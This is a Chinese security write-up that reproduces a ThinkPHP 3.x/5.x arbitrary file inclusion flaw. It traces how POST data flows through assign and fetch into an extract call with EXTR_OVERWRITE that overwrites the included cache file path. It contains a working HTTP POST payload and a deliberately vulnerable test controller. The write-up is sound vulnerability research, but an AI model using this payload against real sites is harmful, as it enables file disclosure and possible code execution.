0x01 前言

这次复现的是thinkphp3.x/5.x的任意文件包含。该漏洞的最根本原因是用了 extract 并用了 EXTR_OVERWRITE 参数,该参数的意思是如果有冲突,则覆盖已有的变量。

0x02 过程

测试payload

  1. POST /thinkphp/public/index.php/index/index/index HTTP/1.1
  2. Host: 192.168.0.111
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: application/x-www-form-urlencoded
  9. Content-Length: 23
  10. cacheFile=./phpinfo.php

测试代码

<?php
namespace app\index\controller;
use think\Controller;
use think\Db;

class Index extends Controller
{
    public function index()
    {
        //return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #ffffff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';
        $this->assign($this->request->post());
        return $this->fetch("index");
    }
}

程序在一开始就调用了 assign 函数,并传入了POST数据,assign方法代码如下
image.png
assign方法又调用了视图类的assign方法,我们跟进去看看。可以看到,该方法调用了array_merge方法将post数据合并到了$this->data数组
image.png
再来看看 fetch方法, fetch方法同样调用了 视图类的fetcf方法,我们继续跟进
image.png
可以看到,该方法调用了array_merge将post数据合并到了vars数组内,接着我们看 $this->engine->$method($template, $vars, $config); 这句,在默认情况下$method的值为fetch,该方法在 thinkphp\library\think\view\driver\Think.php 文件下。
image.png
跟进去看看,视图引擎的fetch又调用了模板类的fetch方法。
image.png
继续跟进,这里需要注意的是 $this->storage->read($cacheFile, $this->data); 这句,我们进去该函数看看去。
image.png
该方法使用了 extract方法并用了EXTR_OVERWRITE 参数,最终导致了任意文件包含。如果目标站点开启了 allow_url_include ,攻击者甚至可以执行任意代码

<?php
    public function read($cacheFile, $vars = [])
    {
        if (!empty($vars) && is_array($vars)) {
            // 模板阵列变量分解成为独立变量
            extract($vars, EXTR_OVERWRITE);
        }
        //载入模版缓存文件
        include $cacheFile;
    }